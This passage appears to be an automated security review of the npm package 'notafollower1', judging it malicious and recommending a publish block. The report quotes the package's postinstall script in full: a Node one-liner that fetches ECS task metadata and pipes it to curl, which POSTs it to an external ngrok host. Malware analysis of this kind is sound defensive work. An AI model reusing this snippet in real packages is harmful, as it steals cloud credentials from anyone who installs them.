This can expose runtime/task configuration and credentials. - **Trigger:** npm postinstall during package installation - **Impact:** Exfiltration of cloud workload metadata and potentially credentials. - **Evidence paths:** package.json - **Review source:** ai\_review - **Reviewed:** 2026-08-13T21:11:54.294Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** ECS metadata retrieval piped to external HTTP POST - **Attack narrative:** On npm installation, the postinstall shell command runs Node to fetch the local ECS task-metadata endpoint derived from the environment. It prints the response into a shell pipe, where curl sends it as the POST body to an external ngrok host. The behavior is automatic and unrelated to a declared package function. - **Rationale:** Direct source inspection confirms an install-time cloud-metadata exfiltration chain to an external endpoint. - **Files touched:** package.json - **Network endpoints:** https://mourner-slot-explicit.ngrok-free.dev ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** postinstall fetches ECS task metadata using ECS\_CONTAINER\_METADATA\_URI\_V4., The metadata response is piped to curl and POSTed to an external ngrok endpoint. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/task').then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-e... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/task').then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-e... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 5. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() postinstall fetches ECS task metadata using ECS\_CONTAINER\_METADATA\_URI\_V4. Public source snippet (untrusted): ```json "postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/task').then(async r=>console.log(r.status,await r.text())).catch(console.error)\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** notafollower1 - **Ecosystem:** npm - **Version:** 1.0.0 - **Version published:** 2026-08-13T21:08:58.008Z - **Package first seen:** 2026-08-13T21:11:54.294Z - **Package last seen:** 2026-08-14T14:55:05.134Z - **Known versions:** 14 - **Latest version:** 1.0.13 - **Appeal under review:** No - **Artifact files:** 1 - **Artifact unpacked size:** 317 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()
